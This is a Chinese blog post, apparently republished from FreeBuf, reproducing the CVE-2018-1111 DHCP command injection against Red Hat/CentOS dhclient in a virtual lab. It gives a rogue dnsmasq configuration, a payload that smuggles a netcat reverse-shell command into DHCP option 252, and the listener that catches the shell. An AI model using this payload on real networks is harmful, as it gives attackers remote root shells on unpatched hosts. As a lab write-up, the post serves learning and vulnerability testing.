内容简介:DHCP是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)。
*本文作者:m0nshaw,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
0×01 前言
最近留意到CVE-2018-1111这个洞,关于dhcp命令注入,便想复现一波。
DHCP是一个局域网的网络协议,主要用于内部网络动态IP地址分配。Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)。
当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。
最开始在Github上找到一个 Docker 的复现环境,尝试了各个docker镜像都发现漏洞已被patched掉了,无奈只能在VM上安装CentOS虚拟机。
https://github.com/knqyf263/CVE-2018-1111
关于漏洞成因,该文章已经分析的很清楚了,这里不再赘述。 https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/
0×02 配置虚拟机网络
attacker: kali linux 2018 x64 192.168.71.5 victim: Centos 7 x64 192.168.71.10
打开VM虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。
将attacker、victim网络配置成仅主机模式:
0×003 搭建dhcp服务
先在kali下设置一下网络
ifconfig eth0 192.168.71.5 netmask 255.255.255.0 route add default gw 192.168.71.5
现在设置成192.168.71.5的ip。
在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:
bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.71.10,192.168.71.20,12h dhcp-option=3,192.168.71.5 dhcp-option=6,192.168.71.5 log-queries log-facility=/var/log/dnsmasq.log
参数解释:
dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间 dhcp-option: 表示指定给 DHCP 客户端的选项信息 log-facility: 表示日志记录器
其中配置文件中包括的 option 取值及含义如下:
3: 设置网关地址选项 6: 设置 DNS 服务器地址选项 252: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。
这里 dnsmasq.conf中的dhcp-range设置:
为 192.168.71.10-192.168.71.20/24 这个 ip 地址范围,租约时间为 12h。
dhcp-option 3 网关地址和 dhcp-option6 DNS 服务器均设置为 kali 本地网卡的 ip 地址,kali 的 ip 地址为静态 ip。
0×04 命令注入
利用dnsmasq伪造dns服务器,命令执行 payload 如下:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.71.5 6666 #"
监听6666端口:
nc -l -p 6666 -v
重启CentOS的网络服务,然后 shell 就反弹回来了:
现在,CentOS的ip也是由我们伪造dhcp服务分配的(范围在192.168.71.10~192.168.71.20)。
*本文作者:m0nshaw,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First Web Design
Ethan Watrall、Jeff Siarto / O’Reilly Media, Inc. / 2009-01-02 / USD 49.99
Want to know how to make your pages look beautiful, communicate your message effectively, guide visitors through your website with ease, and get everything approved by the accessibility and usability ......一起来看看 《Head First Web Design》 这本书的介绍吧!